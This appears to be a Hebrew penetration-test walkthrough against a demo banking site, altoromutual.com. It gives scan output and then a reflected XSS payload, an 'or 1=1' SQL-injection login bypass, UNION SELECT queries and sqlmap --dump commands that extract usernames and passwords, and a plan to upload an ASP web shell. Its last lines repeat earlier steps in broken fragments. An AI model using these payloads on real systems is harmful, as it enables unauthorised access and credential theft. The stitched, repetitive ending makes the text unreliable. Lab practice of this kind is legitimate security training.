דו"ח www.altotomutual.com:
1. ראשית יש למצוא את כתובת ה-IP, הכתובת 65.61.137.117 ולהוסיף אל תוכנת Burp Suite.
2. סריקה באמצעות Nikto:
nikto –h www.altoromutual.com
Retrieved x-powered-by header: ASP.NET
Server: Microsoft-IIS/8.0
Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
OSVDB-3092: /admin.htm: This might be interesting...
OSVDB-3092: /bank/: This might be interesting...
3. סריקה באמצעות Nmap:
nmap –sV 65.61.137.117
Not shown: 997 closed ports NMAP: PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.0 443/tcp open ssl/http Microsoft IIS httpd 8.0 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
4. כעת, נגלוש את האתר וננסה למצוא מידע חשוב שיכול לעזור לנו להתקדם.
5. נמצא Xss Reflected בתיבת החיפוש לאחר שהוזן:
<script>alert()</script> or <script>a()</script>
6. ננסה להתחבר עם שם משתמש וסיסמא, ישנה שגיאה, נבדוק אותה.
7. ננסה להתחבר עם שם משתמש וסיסמא ולהוסיף שגיאה, תופיע שגיאה פעם נוספת.
user’ password: 3456
* אם נקרא את השגיאה נוכל לגלות שם את המיקום של האפליקציה.
8. במצב הנוכחי התנאי הוא שלילי, כדי להפוך אותו לחיובי יש להשתמש בכישורי SQLI פשוטים בשם המשתמש נזין את הביטוי הבא:
user' or 1=1-- -
הסיסמא לא רלוונטית כי אם גם ככה לא נשלחת אפשר לכתוב מה שרוצים.
9. הצלחנו להתחבר, במצב הזה המערכת שולפת את המשתמש הראשון שנוצר במערכת ואיתו אנחנו נתחבר.
10. כעת, עלינו למצוא נקודת הזרקה נוספת, ננסה לכתוב משהו בתאריכים ונבדוק מה קורה בקוד.
11. ננסה להזין ב-Recent Transaction. (עובד! יש SQLI).
1 union select 1,2,3,4 from users-- -
12. ננסה למצוא את שמות המשתמשים והסיסמאות.
Try to use: 1 union select 1,username,password,4 from users-- -
13. ישנה דרך נוספת לאיתור סיסמאות באמצעות SQLMAP:
* נשמור Payload חוקי של ID וסיסמא מתוכנת Burp לקובץ:
uid=* &passw=123&btnSubmit=Login > /tmp/1.log
* נפתח את הכלי SQLMAP ונזין את הפקודה הבאה:
sqlmap -l /tmp/1.log --prefix="'" --suffix="-- -" -p uid --technique b
* מהפלט, ניתן להבין שמדובר במסד נתונים של Microsoft Access ולכן הפקודה הנל לא תעבוד.
* יש לכתוב את רצף הפקודות הבאות: (בחירת מסד נתונים, בחירת טבלה, בחירת שם וכו').
sqlmap -l /tmp/1.log --prefix="' or 1=1" --suffix="-- -" --technique b --code=302 –tables
sqlmap -l /tmp/1.log --prefix="' or 1=1" --suffix="-- -" --technique b --code=302 -T users -C username --dump
[11:38:21] [WARNING] on Microsoft Access it is not possible to enumerate the user password hashes
sqlmap -l /tmp/1.log --prefix="' or 1=1" --suffix="-- -" --technique b --code=302 --common-tables
sqlmap -l /tmp/1.log --prefix="' or 1=1" --suffix="-- -" --technique b --code=302 -T users -C user,password --dump
14. נחפש מיקום שאפשר לכתוב אליו:
15. נמלא מידע ונעצור את הבקשה באמצעות Burp:
16. נבדוק את הקובץ ונראה שיש שם User Input משמעות הדבר שיש נקודה שאפשר לכתוב אליה:
* מכיוון שזה היישום כתוב בשפת ASP נעלה לשם Web application Shell מותאם.
2. סריקה באמצעות Nikto:
Server: Microsoft-IIS/8.0
Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
OSVDB-3092: /admin.htm: This might be interesting...
3. סריקה באמצעות Nmap:
* אם נקרא את השגיאה נוכל לגלות שם את המיקום של האפליקציה.